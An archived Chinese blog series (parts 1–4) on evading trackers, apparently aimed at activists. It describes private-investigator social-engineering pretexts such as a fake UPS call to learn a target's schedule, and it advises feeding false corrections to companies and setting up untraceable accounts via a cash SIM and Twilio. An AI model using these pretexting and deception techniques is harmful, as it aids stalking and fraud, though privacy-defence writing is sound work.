本系列内容也许可以帮助人们变得聪明一点。因为我们从赏金猎人的视角出发 —— 让您看到一个专业的追踪者都会干些什么、如何思考，以便能作出最有效的防御。

也许您已经比较熟悉 IYP 偶然发布的“侦探挑战”小游戏（在OSINT栏目中）；这一栏目希望呈现的价值就是：思考方式 —— 作为一名追踪者，你的思考方式是什么。

只要您能够深刻了解追踪者的思路，反追踪就会非常简单了。

对于任何一种斗争来说都是如此：你能做到的避免被对手了解的程度

越高，你就会越安全。这点也是 IYP 在“战略性欺骗”系列中强调的主旨之一。通过以下链接回顾：

- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》
- 《媒体操控：战略性欺骗的重头戏》

现在进入正题：关于追踪的几个原则 —— 追踪者熟知并秉持的东西，反追踪需要了解的基础。

☞1、你的个人信息是一种颇具价值的商品。不论你是谁，总有人对它感兴趣，总有人想要得到它。

很多对个人权利表示“无所谓”的人，基本都是因为觉得自己“没有权利”。⚠这不是事实。这只是想要控制你的人灌输给你的概念。

因为只有你放弃了个人权利，那些想要控制你的人才能成功。

个人信息是一种至高无上的权利。也许你自己对自己的个人信息太熟悉不过了，于是觉得“它没什么稀奇的”；但是，对任何其他人来说都完全不同。这也许是很多人误解个人信息之价值的原因。

不论你是罪犯还是守法公民，在此都一样。你肯定还不知道自己在追踪者眼中有多么的价值连城。

⚠不论是想要找到你的真身、还是想要盗用你的身份，那个人绝对会不惜一切代价做到这点。

如何才能让一个人感知到个人信息有多值钱？方法很简单，那就是，让**TA**尝试一下私人侦探的业务。

还记得我们在OSINT中多次强调过的吗：它既可以进攻，也可以防守。同样道理。

OSINT市场已经高达数十亿美元，这可是仅仅基于开源的情报市场；

私人侦探就更不用说了，他们游走在黑白之间，他们可以采取任何可用的手段，只要没被抓到，钱到手就是合法的。

这一行业内的成功者都是不会按理出牌的人；他们经常可以自如地跳出常人的思考框架做出那种能让你意想不到的事。

于是这就引出第二条原则：

☞2、信息行业和其他行业一样。成功者懂得找到市场的空白点，而且懂得如何填补这些空白。追踪者之间的常态竞争能让强者更强。

就如我们上面所说到的，这一行业拿钱办事，谁出的价码高，就接下谁的活。（这很容易理解，混过 Hack Forums 或逛过零日市场的人都知道）

⚠如果被追踪的人是你，对手出价越高，你就离死神越近。

永远不要停止惊讶于社交工程师的创造力，他们就是靠创造力吃饭的。

☞3、如果确实有关于你的任何精准信息，那么，只要他们有足够的时间和精力，追踪者肯定会能把你挖出来。

随着技术的进步，追踪行业的钱只会越来越好赚，越来越简单和高效。

他们不需要具备骇客能力，甚至不需要懂编程，因为最大的漏洞永远是人；社交工程之所以被成为人性骇客，就是这个道理。

只要有足够的胆量和创造力，你就能拿到你想要的东西。

这说明了第4个原则。

☞4、任何公司只要有客户代表的人工服务，那么一个好的追踪者需要的就只有两种东西：一部预付费电话，和魅力。

很简单：正因为人是最大的弱点。

⚠与其钻研复杂的数学、购买昂贵的0-day，以寻求技术层面的漏洞，不如直接针对最明显的漏洞，即 人性。

这就是私人侦探一直在做的事 —— 漫天的借口和谎言、真诚可亲的

个人魅力，以及严谨的逻辑和专业知识，这些是最强大的武器（依旧参考上述“战略性欺骗”系列，以及IYP在“社交工程”栏目中曾经做出的诸多演示）。

尤其是我们曾经在“伪装术”中介绍过的要点：你可以伪装成任何人，从流浪汉到苏格兰场高级探员，从家庭主妇到白宫秘书，但你必须能做到*变成*那个人，而不仅仅是“伪装”。

我们在这里说的事听起来很简单，但现实生活中极少会有人冒充他人，尤其是冒充拥有强大权力的人，然后随便给各种公司和政府部门打电话，这非常罕见；但真正的社交工程就是这样做的。

⚠也正因此，电话那一端的人很少会产生怀疑。尤其是，你自报的头衔越高，对方信任你的可能性就越大。

要知道接线员都是些资历很浅的员工，虽然如今很多部门会对所有员工进行反社交工程攻击的培训，但培训毕竟不是实战，修补人性漏洞的效果并不高。

这也是最可怕的部分：如此简单的行骗伎俩如今依然屡试不爽（如果您接触过专业的渗透测试公司/团队，可以问问他们，真的是这样）。也就是第5条原则：

☞5、一名优秀的追踪者可以从任何一个持有信息的人那里获取信息。⚠他能轻松地做到让你将价值连城的信息视为粪土。

这里所说的*任何一个人*包括你的邻居、保姆、你母亲、你小区物业的清洁工……你最常去的杂货铺小老板，等等一切。

⚠在中国，任何一位与国安部门（情报部门）或高级警探打过交道的人都能了解这点，无需过多解释。

还是那句话，人们经常不会觉得自己的特征有多值钱，或者说基本想不到也不会去想自己在他人的印象中是什么样 —— 但这正是最大的弱点，是社交工程师最容易的切入点。

举个简单的例子。我的一位朋友是土生土长的英国人，他在冰岛工作了3年之后再回到英国。他曾经满脸惊讶地告诉我，他以前居住的地区的杂货铺老板看到他时说：“好久不见，你黑了，头发也长了”……

⚠因为他住在英国的时候从未与那间杂货铺的老板交流过，他就如我们所有人一样，只是买东西、付款走人。他很难想象一个“陌生人”会

在3年后还记得自己曾经的样子。

然而这就是事实。

⚠想象一下，如果我的那位朋友是被情报官员、私人侦探和赏金猎人关注的目标，结果会怎么样？……

别急，我们将在本系列中介绍几乎所有防御办法。

再说一个真实的故事。

一位多金的大客户打了一个电话给私人侦探公司的社交工程师，给了后者一个女人的名字，他们想要知道这个女人在哪。

只有一个名字。

这些社交工程师就开始使用常规钓鱼方法打电话给各种公司，一概声称自己是那位女士，询问对方的服务并声称自己搬家了、注册地址已变 …… 不久之后就找到了那个女人可能的藏身地点。

接下来就是给这个可能藏身的地方打电话。接线的人是她家保姆。以下是对话：

社交工程师：您好，我是 UPS 快递公司的***，我们有她（那个女人的名字，故意读错她的名字）的包裹，但是包裹进水了。我们非常抱歉！

保姆：哦，那么…

社交工程师：我们需要她签名才能处理，不知道她什么时候会回来？

保姆：啊……

社交工程师：那好吧，我们把包裹退回去就行了。

保姆沉默了一会。

社交工程师：我们可以把包裹退回去吗？

保姆：不……不要，你直接送过来吧。

社交工程师：好的，那么我们什么时间可以找到她签名？

保姆：她六点左右会回来。

搞定。

以上对话部分中深颜色的字意味着需要重音读出 —— 这是心理操纵的逻辑。

- 目标人将于某某时间到达某某地点* —— 这条信息交给那个多金的大客户，钱就到手了。

那么，那个女人究竟是谁呢？

如今几乎所有人都知道她，她就是莫妮卡莱温斯基（Monica Lewinsky）。

你一定还记得我们正“战略性欺骗”中指出的：只要进行了欺骗，就存在被发现的可能。区别只是在于，发现的时间，是及时、还是为时已晚。

社交工程欺骗也一样，它很容易被揭穿，而且很容易漏出马脚 —— 不同的只有，是及时、还是为时已晚。⚠只要你能争取到时间，就是绝对的胜利。

Evans 介绍过一部西班牙剧目 La Casa de Papel，我也想推荐一下，因为这部剧中涉及的“社交工程”和“心理战”策略，真的非常标准；尤其是，你能看到，一群主演是如何与对手抢夺时间的。

很荣幸，这些战术IYP都介绍过。

⚠时间和时机是在社交工程战术中价值连城的东西。

☞6、也是最后一个原则：追踪者在操作中可以犯几十个错误；但你只要犯一个错误，你就 over 了。

职业社交工程可以充满娱乐性，我们绝对不是鼓励您加入这一职业；而是，想要通过对这一职业的解剖，帮助您避免被追踪。

请务必牢记上述6个原则。这里是开篇。

也就是说，如果你正在着手准备一套*退出*策略 —— 保护性策略，那么必须以这**6**大原则为前提。

本系列内容就是希望帮助您制定这样的策略，您可以在任何必要的时候“重返”现实；在不必要的时候销声匿迹。〇

—— 未完待续 ——

原文

如何做到完美隐身：追踪者的手段和你的弱点（2）- iyouport

完美隐身（完成）完美隐身（完成）的副本

【2019年12月4日存档】小心驶得万年船。

如果您还没有读过第一部分，在这里看到：《如何做到完美隐身：直面你的对手—6大原则（1）》

也许你很幸运，可以负担得起水电以及生活中的一切便利；还可能更幸运，买得起电脑，可以上网，在 Facebook 和 Twitter 跟一群人扯蛋；还有便捷的在线金融服务、电话公司、电力公司、宽带公司、以及各大公司提供的优越在线客户服务……

各家公司争先恐后地想要标榜自己有多么地用户友好。全天候的热线电话、无微不至的关怀。你会感叹：世界真美好啊。

抱歉，忘了说了：⚠以上是追踪者的感叹。

这里是“完美隐私”的第二部分内容，本部分的主题就是：⚠客户友好型公司不是你的好友，而是追踪者的好友。

联邦调查局第一任局长 Edgar Hoover 在历史上已经树立了一个坚固的反乌托邦标志 —— Hoover 先生因骚扰侵犯政治异议人士和活动家、搜集政治领袖的秘密档案、以及采取各种非法手段收集证据，而闻名于世界。

自从那个年代开始，侵犯个人隐私的罪魁祸首就是群众斗群众 —— 互联网时代将群众斗群众自动化了，并且笼络了跨地区、甚至跨国的群众，任何人都能卖了你。

所以，如果你想要隐身，首先要做到的就是：

☞1、对于任何一家想让你的生活变得更加便利的公司，都应该敬而远之。

现如今每一家大公司基本都是如此，网站则更甚。

当一个中年人想要找到小学同学可以易如反掌的时候，隐身这件事可就不那么简单了。

当然，前提是你要把电子邮件、地址、电话号码、个人照片、家庭照片……统统上传到网站，供全世界的人观看。对这些东西感兴趣的人中**99%**都是社交工程师，如何足够幸运，剩下的1%是你希望联系的人。

在线电话薄、博客、互动式网站、病毒式营销广告……也都是如此。尤其应该关注的还包括：大型国有水电企业、电话公司、互联网公司，等等，专业的追踪者经常通过这些地方获取重要信息：随便找个借口就可以撬开那些接线员的嘴。

客户越是容易接入在线人工服务，追踪者就越容易对其造成真正的伤害。

⚠如果任何一家公司了解你的真身，你都应该非常小心。

我们介绍过如何将真实身份隐匿在单独的角色中，具体做法在这里。

如果您觉得这个方法不适合您，同时您还希望隐身，那么就要避免使用任何上述这些服务，彻底远离互联网。

☞2、社交网络、搜索引擎、病毒式媒体，都是个人隐私的最大敌人。

在上篇文章中我们提到过：追踪是一种非常古老的行当；如今想要在互联网上找到一个人的信息，你完全不必成为一个黑客（你甚至可以一点技术都不懂），照样能搞定。IYP 的开源情报栏目中很多实现靠的都是思考方式，而不是技术。

当然，有技术会更好，至少您会使用其他人开发的技术，可以帮助追踪工作提速。自动化是个好东西。

一旦嗅到你的气息，追踪者要做的第一件事就是想方设法打入你的社交关系网。

你经常去的公司是哪里、经常出入的场所都包括什么、经常和谁混在一起……这些都是非常重要的目标。

接下来社交工程师就会开始行动了，打电话、发邮件、搭讪，直到有人上当，吐露了最重要的信息 —— ⚠而社交媒体网站将所有这一切都变成了一站式服务。

只要你有 Facebook，即便进行了高度严格的隐私设置，你的个人主页依旧是一座金矿。

除非你的隐私设置为最高级别，否则任何陌生人都会能看到你的好友清单，哪怕他们还没有添加你“好友”。

一旦添加成功就更厉害了。社交工程师的袜子木偶经常这样做，在这里看到一个简易版防御措施《如何识别 Facebook 假朋友》。

你可能会说，“陌生人只会看到部分好友啊”，没错，但是，只需要点击刷新，就可以积少成多。因为每次刷新后好友信息都会有所不同。这是最傻瓜的做法，但很有效。

Facebook 是间谍的金矿，但绝对不是唯一一个金矿；所有社交网络、媒体、博客、购物网站、支付平台……都是。

所有社交网站都喜欢爆料，不论你选择了什么样的东西挂在网上。优秀的追踪者都可以用来对付你。

他可以冒充一个想和你取得联系的“老熟人”，添加你的朋友和家人为“好友”。

⚠任何遭遇过国家情报部门间谍活动的人（不论是在中国还是美国还是欧洲）都应该很熟悉这种手段，这是间谍们的套路之一。

☞3、你永远不会知道互联网上的所谓“好友”都是些什么东西。

避免的方法很简单：如果你打算同意添加某人为好友，哪怕这个人是你非常熟悉的老朋友，也要记得，给对方打个电话或者写上三言两语，以对他们表示感谢 —— 目的是借此确认对方是不是真的。

一个人多年杳无音信，忽然之间跑到网上要加你“好友”？这种需要格外小心。

一位社交工程师讲过一个故事。那还是社交媒体火爆之前的事。

某次社交工程师接到一个生意，需要寻找一个人A，A是一名卡车司机，据称其谎报受伤，申请残疾保险。

社交工程师对A进行了广泛的监控，但是一无所获，没有发现关于他的任何欺诈行为。

A看起来是个失业人士，而且非常隐蔽，住在一个破烂不堪的拖车公园里。谷歌搜索他的名字以及多个变体，还加上出生年月，最终才在一个校友网上看到了一则寻人启事，其中A说要想要寻找失散多年的中学女友。

然后社交工程师的机会就来了。

他们使用寻人启事的联系方式与A取得了联系，声称自己就是那位失散的女友，还诉说自己婚姻的不幸，很高兴A还记得她……等等。

很快就收到了回信。A写了好几页，满满都是爱意。

一系列邮件往来后，A产生了一些怀疑，他要求打电话聊一下。社交工程师婉拒了，称“她”丈夫有家暴倾向。A做出了让步。

A穷困潦倒，住的地方连电脑都没有，每一次接收假的“她”发来的邮件，还需要跑到图书馆去借用电脑。有一次A在回复邮件时提到，为了等待“她”的邮件，他在图书馆里整整坐了4个小时。

在邮件中，A对自己的生活不太隐瞒，但是只字不提在哪里工作，并且他一直坚称自己身患残疾。

欺骗总会被发现的，A的怀疑似乎加深了，他要求见面聊。社交工程师顺便问：“哪里见面”，A便给出了路线和日程安排。

这就是社交工程师用来换钱的东西了 —— 那位寻人的客户在该日期到来时，题着一部相机坐上了A指出的那辆巴士。

最终，A因谎称残疾骗保，犯有欺诈罪，要在监狱里待一段时间了。

⚠很多人都和A一样，使用社交网络只是出于某种兴趣爱好，不论是公仔、猫咪、国标、汽车、名酒、还是任何话题；如果你也有某种兴趣爱好，那么你应该进入真实的世界，在社区俱乐部里或旅行中满足自己，而不是跑到社交网络上。

否则，⚠你的任何爱好都会最终成为你的枷锁。

☞3、与其在网上，不如在现实生活中实行个人兴趣爱好。

这条原理很奇怪吗？一点也不。有人曾经就因追星，而被社交工程师擒获。

那位中招的女士迷麦当娜。

她是一家公司的雇员；摔了一脚，于是提出残疾保险申请，并且起诉其雇主玩忽职守。其雇主认为此人并非摔伤，于是聘请了私人侦探对其实施监控。

她非常谨慎，从来没有在院子里活动过，也没有找新工作，可以说没有做任何一种能让她暴露其现状的事。普通监视方法失败。

没关系，社交工程师开始在网上挖掘关于她的东西。很快就在一个麦当娜粉丝签名簿里找到了她的名字。由此还找到了“我的空间”网中她的网页。

于是社交工程师给她写了一封信，说她赢得了一项大奖，有机会让她和其他获奖者一起竞争参与麦当娜录像的机会。

社交工程师给她发了一个网址还有一个电话号码；两者都含有比赛信息。网站是在一家海外私人企业注册的，通过预付费卡支付的费用，电话号码则是一个预付手机号。于是她无法追溯到来源（哪怕她知道该怎么做）。

这位目标人很快就中计了。社交工程师告诉她比赛规则，包括试镜。

在试镜的那天她果然来了，填写了一张表格；社交工程师要求她提重物、做了几次开合跳、仰卧起坐，还有一些舞蹈动作 —— 所有这一切都被录像了。

她的工伤赔偿金彻底吹了。

⚠兴趣爱好是定位目标人的最可靠途径。一旦你的小爱好被社交工程师了解到，他们就会想方设法寻找那些能帮你维系这些兴趣爱好的地方和人。

如果你不想中这种伎俩，那就要注意：⚠千万不要把真实的自己都放在网上。互联网的可怕肯定比你想象中更大。

☞4、点击“发布”之前请三思。哪怕日后你删除了账户，凡事只要上了互联网，就基本很难撤销了。你需要特别谨慎。

一个网页就可能带来极其严重的危险，并且没有人知道网页究竟会存在多长时间（您可以通过这里提供的工具做出初步体验《如果你擅长搜索，你能找到一切》）。

但更可怕的是，⚠在社交网络上，个人对自己的网页几乎处于完全失控的状态。即使你注销了账户，任何认识你的人如果依旧在网络中，他们中任何一个人都会在无意中出卖你。

别埋怨他们，他们很可能并没有意识到自己这样做是有害的；你自己也很可能尚未意识到互联网上还存在关于你的真实信息 —— 那些给社交工程师的攻击行动提供的弹药。

⚠这就是为什么我们要强调，在准备做一切“大事”之前（包括并不限于隐身），您首先应该进行的是《大清洗》；并检查这项基础工作的效果，使用的方法是：《自我人肉》以及《社交媒体情报和反情报基本工具手册：自我人肉（2）》。

请记住：追踪者都是专家级的社交工程师，他们只需要使用传统的方法（非高端技术）即可做到掌握你的致命信息。

于是：

☞5、公司客服越善良、越容易交流，就越容易上当受骗。

一个人越是健谈、容易和陌生人闲扯，就越容易被糊弄。关键在于如何拉近与人之间的关系 —— 这就是社交工程的重点能力。您可以参考以下内容：

- 《语言是强大的武器—— 如何使用它？社交工程攻击演示继续：致命的诱导》

当然这不是全部，“全部”非常复杂，尤其包括很多随机应变的灵活性，这需要来自于经验。

- ○ ■ 以上这些是最基本的部分，🌤但如果您能全部搞定，就可以绕避大多数追踪者。

IYP 提供的“**OSINT**”内容基本都可以反用于防御，尤其是提高安全意识 —— 您能从中看清追踪者的思考方式，就能得到反追踪的最佳措施。

这就是为什么OSINT会存在于“How To Win”栏目中。

OSINT是社交工程师的生命线，使用OSINT的熟练程度是成功的关键；反过来，如果你不想遭遇社交工程攻击，你就非常有必要熟悉OSINT的操作方法，这样你才有可能从根本层面上做到抵御。

社交工程训练很复杂，也可能很有趣；其中包括对战测谎仪。（有专门的培训课程）

你能欺骗测谎仪吗？如果你能做到，将可以成为一位令人敬畏的 SE schwag。

反过来，如果你是防御者，⚠你不要期待通过教科书上告诉你的识别谎言方法去揭穿社交工程师，因为那些方法距离测谎仪的水平还差十万八千里呢；您需要做的是以牙还牙、以骗制骗，以同样的方法反击回去。

斗智是令人愉快的。尤其是当你赢了的时候。〇

—— 未完待续 ——

原文

如何做到完美隐身：思考方式是战略性的（3）- iyouport

完美隐身（完成）完美隐身（完成）的副本

【2019年12月5日存档】现在，开始消失吧……

这里是“完美隐身”的第3部分。如果您还没有读过前面的部分，在这里看到：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》

今天的内容是，开始行动。

说在前面

不论如何，如果你是一个**极为重要**的人，你的对手会不惜余力地找到你；并且如果你的对手有钱也有时间，那么他们绝对会用尽一切办法。

但阅读本文的绝大部分读者都不会是那种极为重要的人 —— 于是，多数情况下，只要你能在追逐和反追逐中抢到足够的时间，你的对手就有可能耗尽耐心和钱财，从而结束战斗。

时间 —— 就是这场斗争中最值钱的东西之一。

如何赢得时间？

其实很简单，使用的就是我们在“战略性欺骗”系列中强调的攻心策略。您可以在下面回顾：

- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》

- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》
- 《媒体操控：战略性欺骗的重头戏》

这套文章的使用范围非常广，关于欺诈、虚假消息、恶意诱导、洗脑、操纵、心理战对战策略 .....以及追击和反追击技巧等相关问题，都在里面。

是的，它是工具性的。就如IYP的大部分文章一样，都是工具。

每一种对峙都是心理战：因为，只要你能让对手失去反击的能力和信心，你就赢了。反之亦然。

在追击和反追击中可以有无数个拐点 —— 自然产生的以及人为促成的 —— 在每一个拐点上你都可以运用“战略性欺骗”技巧，将对手引入错误的方向。

—— 时间节点 ——

如果事出很急，你想要立刻逃离，那么你最想知道的也许是：多久才能完成目标？

事实上这取决于你愿意舍弃多少。

如果你有很多钱，而且全部想要带走，那么时间就会相对较长 —— 你想带走的东西越多时间就会越长；如果你孑然一身，并且熟练操作，两周甚至一周内就可以消失了。

原理

先讲一个故事，是一个经典小说，Richard Connell 的《最危险的猎物》。

故事的主人公是一个叫 Resford 的家伙。他被困在了一个小岛上；和他一起被困在这里的还有一个非常绅士但又非常疯狂的老者 —— 扎洛夫将军。

将军的爱好是：狩猎活人。

不久之后 Resford 就在森林里一路狂奔 —— 他成为了全世界最狗屎的野生动物园里的最新战利品。

一开始他脑子里只有一个想法，那就是：和扎洛夫将军保持距离。为了实现这个目标，他一路狂奔，激励着他的是一种近似恐惧的东西。

但是现在，他终于能冷静下来了。他停下了脚步，开始思考自己，思考自己的处境。

他明白了，毫无目的地飞奔是完全徒劳的；最终他将不可避免地和大海面对面。四面环海的岛屿是个天牢。

他想明白了，他需要做的是给追击者留下一些可以寻觅的踪迹 —— 以将其引向错误的方向。

Resford 偏离了崎岖的小径，投身于毫无路径可言的荒蛮之中。

他精心设计了一系列圈套；他一再重复着自己的足迹。就像民间故事里总是能最终逃脱的狐狸……

故事结尾不重要，重要的是：Resford 处心积虑的谋划最终取得了成效。他知道，要做到成功的销声匿迹，就必须：有一点狡猾、有一点欺骗，要尽你所能去除一切真实的痕迹，并同时，设置虚假的误导性痕迹，让你的追逐者偏离方向。

这就是完美隐身的关键思考方式。

这是一个三步策略：信息篡改、信息杜撰、信息重组。

信息篡改：首先就是我们在《自我人肉》系列中介绍的知识。

使用“第一部分”中介绍的思考方式，以及“第二部分”中介绍的工具，尽可能找到所有与你自己有关的信息线索；

然后运用包括“大清洗”在内的技术，尽可能清除掉这些信息；如果无法清除，那么就想办法给它们改头换面，目标是追踪者无法据此对你定位。

信息杜撰：也就是战略性欺骗部分了。给追踪者设置虚假的线索路径，尽可能地为自己争取时间，并同时无限地消耗追踪者的财力和精力。

必须要巧妙。要知道大部分追踪者会花钱聘请专业侦查团队，或者他们本身就是政府当局，拥有自己强大的情报能力。

但是不要被专业头衔吓住，因为他们和你一样都是人，人类天然具备的思维弱点他们身上都有。

心理战术的关键就在于：谁先拿下对手的弱点。

有多少种追踪方式就有多少种反追踪方式；你要做的就是无限地消耗你的对手，直到对方因枯竭而放弃。

信息重组：开创新的生活，享受私密的生活，隐秘的住所，不留下一丝线索。

不论是《角色扮演》还是《袜子木偶》都可以在数字世界帮你找到安全之地。而在现实中，您还需要一些其他东西。

三步完成就是自由的世界。

由于篇幅原因，本文只介绍第一步；后面的部分将另开新篇 —— 请注意，如上所述，我们已经介绍过在线隐身的操作方式，本系列重点关注的是在现实中需要做哪些事。

第一步：信息篡改

任何一位不想要生活在1984里的人都应该学会信息篡改。

“知己知彼，百战不殆”。信息篡改背后的原理就在这句话中：抢在对手的前面了解自己的弱点，以及对手的意图，才能抢得先机，防患于未然。

- ○ 辨别并销毁一切外在的、与你有关的信息** <<<

如果不能销毁，你可以与信息提供者取得联系，随便撒个谎，告诉他们档案中的信息错了，你想“更正”信息。

再一次，由于肯定不会有很多人去把关于自己的真相改为假象，于是理论上很多公司部门不会怀疑你的说法。

其目的在于混淆视线、误导、将任何一个试图监视你的人都引向其他方向。

效果最好的时候，这种做法可以让追踪者裹步难行；效果最差的时候，追踪者也需要反复找借口、用尽一切搜索手段，才能找到你真正的位置。这种搜索方法既耗时又费钱。如果你幸运，你的对手会因此被掏空，耐心耗尽。

一个细节就是：别在法律的框架内思考问题。这是维权人士经常出现的错误。他们认为“这是非法的”，于是对手“做不到”。但对于反追踪来说，绝对不是如此。

不论你的对手是政府当局、情报部门、还是私人侦探，在此都一样，在追踪的操作中违法的可能性非常高，因为违法是他们的优势。

而作为反追踪者，你的工作就是尽可能发挥想象力去预测你的对手下一步会做什么，然后提前下手，给对方挖坑。

上述回顾的自我人肉系列（2个）是全面且专业的，足够您使用。如果您对技术一窍不通，可以从最简单的开始。

比如美国的 Zabasearch 或者中国的“找人网”，这些对方都是很高风险的 —— 使用独立的设备＋VPN/Tor＋虚拟机，去那里搜索自己，记录下找到能找到的任何东西，写在纸上而不是在线保存，然后逐一破解或混淆它们。

完成后别忘了把那张纸烧掉。

对中国的找人网不太了解，但美国的 Zabasearch 和 Intelius 是非常厉害的，甚至能挖到某人从未公开过的手机号和座机号码；而且信息五花八门，绝对是追踪的利器。

在美国你无法完全屏蔽个人公开信息，除非你有切实的证据受到了人身威胁并据此去申请法庭指令。想必

在中国也差不多。但至少你能做到为你的对手增加侦查的难度。

- ○ 去每一个你能找到的在线数据库和电话簿看一眼，找找看上面多少关于你的信息。这就是最基本的自我人肉** <<<

如果您不熟悉加密技术、虚拟机、彻底清除指纹的诸多操作，那么建议您在整个过程中使用纸和笔记录信息和进行思考，而不是使用在线工具。用完后将所有纸烧掉。

搜索自己的名字，以及名字的各种变体，名字加地址，名字加公司，等等；这就是追踪者一开始投入时会使用的方法。尽可能删除你能找到的任何东西。

然后，为上述每一个搜索条件都创建一个谷歌提醒，一旦有人在互联网上输入了某个具体的搜索条件相关信息，谷歌就会提醒你。你也可以使用这个方法确保在信息篡改后没有人再重新添加关于你的信息。

搜索条件就是姓名、位置、工作单位以及不同的组合，比如这样：

- 张三疯
- 张三·疯/峰/丰/风...
- “张三疯”
- 张三疯 + 北京
- 张三疯 + ABC有限公司
- 等等

如果电子邮箱是“zhangsanfeng@fakeaddress.com”，你可以这样：

- 张三疯 AT fakeaddress
- （张三疯）（fakeaddress）
- zhang (DOT) sanfeng (AT) fakeaddress (DOT) com
- 等等

确保删除所有照片，卸载社交媒体；在卸载之前取消掉对所有与你真实相关的人的关注；清除掉所有与你主页相关的链接。

如果您的朋友很多，慌乱之中有可能遗漏，没关系，请使用这里的2个工具查找自己可被搜索到的社交关系网。然后清除它们。

就算你逃出本国，找到你也不是那么难；因为这是社交网络时代，人

们的亲朋好友同事熟人都在迫不及待地在互联网上公布含有你的照片；这绝对是你的灾难。

请务必告诫自己周边的人要多一个心眼。最好的是你自己不要亲自公开任何真实的东西。

前文中强调过，追踪者可以完全不使用数字技术也能挖到你，因为社交工程学是个好东西。

想想看，任何地点还有哪些关于你的个人信息？一般来说社交工程师会最先从以下这些地方寻找线索：

- 电话公司
- 移动公司
- 家居商城
- 电力公司
- 健身房
- 有线电视服务商
- 卫星服务商
- 互联网服务商
- 租贷店和租贷服务
- 杂货铺和超市（会员部）
- 旅游公司
- 沙龙和校友会
- 银行
- 信用卡公司

你在上述这些地方是否有账户？给他们打电话，删除自己的账户，最好是能篡改部分信息。

下一步

进行到这里很多人也许会觉得非常凌乱，因为人们对谎言的记忆需要很大的努力。不过没关系，你完全可以提升记忆力；那就是下一部分的主题：关于如何将所有漏洞都堵上。

下次见。〇

—— 未完待续 ——

原文

如何做到完美隐身：技术增值部分-最简单的分身方法（4） - iyouport

完美隐身（完成）完美隐身（完成）的副本

【2019年12月10日存档】重生自己。

很多情况下你必须“活着”，不仅为了避免陷入严重的心理障碍危机 —— 离群索居的压力会非常大，有可能是一种残害；并且，您的确需要一个新身份开启新的生活。

这里是“完美隐身”的第4部分。如果您还没有读过前面的部分，在这里看到：

- 《如何做到完美隐身：直面你的对手—6大原则（1）》
- 《如何做到完美隐身：追踪者的手段和你的弱点（2）》
- 《如何做到完美隐身：思考方式是战略性的（3）》

“完美隐身”系列以现实中的反追踪技巧为主，但必然会包括在线追踪的抵制方案。因为在线追踪是现代追踪者最常用的手段之一。

总之，对于您来说，不论是现实中还是数字世界，都应该做好充分的防御。这就是本系列的目的。

第4部分内容是一份指南，希望能帮助您掌握在数字世界重生的基本方法。

掌握本指南，您需要的东西：

- 1张visa/万事达卡礼品卡或与您无关的信用卡（25美元）
- 1个与您没有任何关系的新的/未使用过的智能手机（可选，但建议使用）
- 1个连接互联网的设备，笔记本电脑或台式机
- 0基础知识
- 2小时的时间。

难度

低到中等。

注意：本指南也许不完整，这取决于您所在的国家或者您的政府升级了什么样的侦查手段（或堵死了什么路）；但是，目前为止本指南是基本可行的。

不论任何理由，如果您打算创建一个或多个新的身份，以隐藏真实的身份；例如，如果您是政府网络间谍的目标，为了防止被他们跟踪或欺诈；您都需要一个他们无法追踪到的帐户，以便您可以保持安全，不论是在线还是离线。

当互联网允许你成为你想要的任何人时，那个曾经，做到这点并不难。但是，现在不行了，因为监视资本主义正蓬勃发展。

⚠这意味着所有在线服务都在试图使用各种方式来收集您的个人信息，描述您，跟踪您的工作，并从您的所有数据中赚钱。

对于应用来说尤其如此。几乎所有聊天应用或社交媒体平台都会要求您提供手机号码来创建或验证帐户。

⚠电话号码是个非常危险的东西，能够让任何目的的追踪者顺利找到您，尤其是政府间谍。即便不是政府间谍也不难通过电话号码挖掘关于您的身份信息，在这里看到《如果只知道一个电话号码，你能挖出多少有效信息？》。

在本指南中，您将了解到如何创建无法被追踪的在线帐户，并保护您的真实身份。通过三个简单的步骤即可实现：

- 获取与您的个人信息完全切断的电话号码
- 创建一个与您的真实身份完全分离的安全电子邮件地址
- 使用它们为您想要的任何新帐户获取Twilio号码。

第1步：获取与您的个人信息完全无关的电话号码

在创建新的在线帐户时，您通常需要一个号码来接收验证短信或电话，然后才能使用该帐户。

由于您会持续需要此号码来控制帐户，因此您无法使用公用电话或朋友的手机号码。

您需要一个专用号码，只有您可以拨打电话或接收短信。

这个号码必须很难被追踪，即便在当下追踪方法如此高明的情况下。

要生成这样的号码建议您使用名为 Twilio 的工具。与其他服务相比，Twilio 的维护成本更低。

要设置 Twilio，您需要一个电话号码和一个电子邮件地址。下面将引导您完成注册。

先从电话号码开始。

有两种获取电话号码的方法：购买SIM卡或获取虚拟号码。建议使用现金购买无需身份验证的SIM卡，因为它留下的数字痕迹最少。

⚠一定要使用现金购买无需身份验证的SIM卡。因为正常的电话号码可能与您的大量私密信息相关联，甚至包括您的实际位置。

不幸的是，这些信息已被证明很容易获得。电话号码可能非常危险。

相反，“隐私增强型SIM卡”几乎不包含有关您的可公开识别信息。

以下是增强隐私的SIM卡的优缺点。

优点：

- 现金支付允许匿名
- 您可以通过充值维持该号码

缺点：

- 实体店购买意味着闭路电视摄像机可以捕捉到你的脸。于是这里也许需要附加《让面部识别失效的思考方式》

事实上，使用此SIM卡的号码和未连接到您的真实身份的新/旧手机，您已经可以制作与您的个人身份信息完全无关的帐户，如 telegram、Signal、Whatsapp、Gmail，和更多。

但是，维护此SIM卡可能会很贵。最好*只*将它用于创建一个 Twilio 帐户。

在以下步骤中，您可以找到如何设置、使用和维护 Twilio 号码，而无需依赖此SIM卡。

有关您设备的重要说明

在手机上使用此SIM卡或使用手机进行在线活动之前，需要了解一些⚠重要事项。

首先，您要避免将日常 SIM 卡号码和“隐私增强SIM卡”号码在同一部手机中使用。

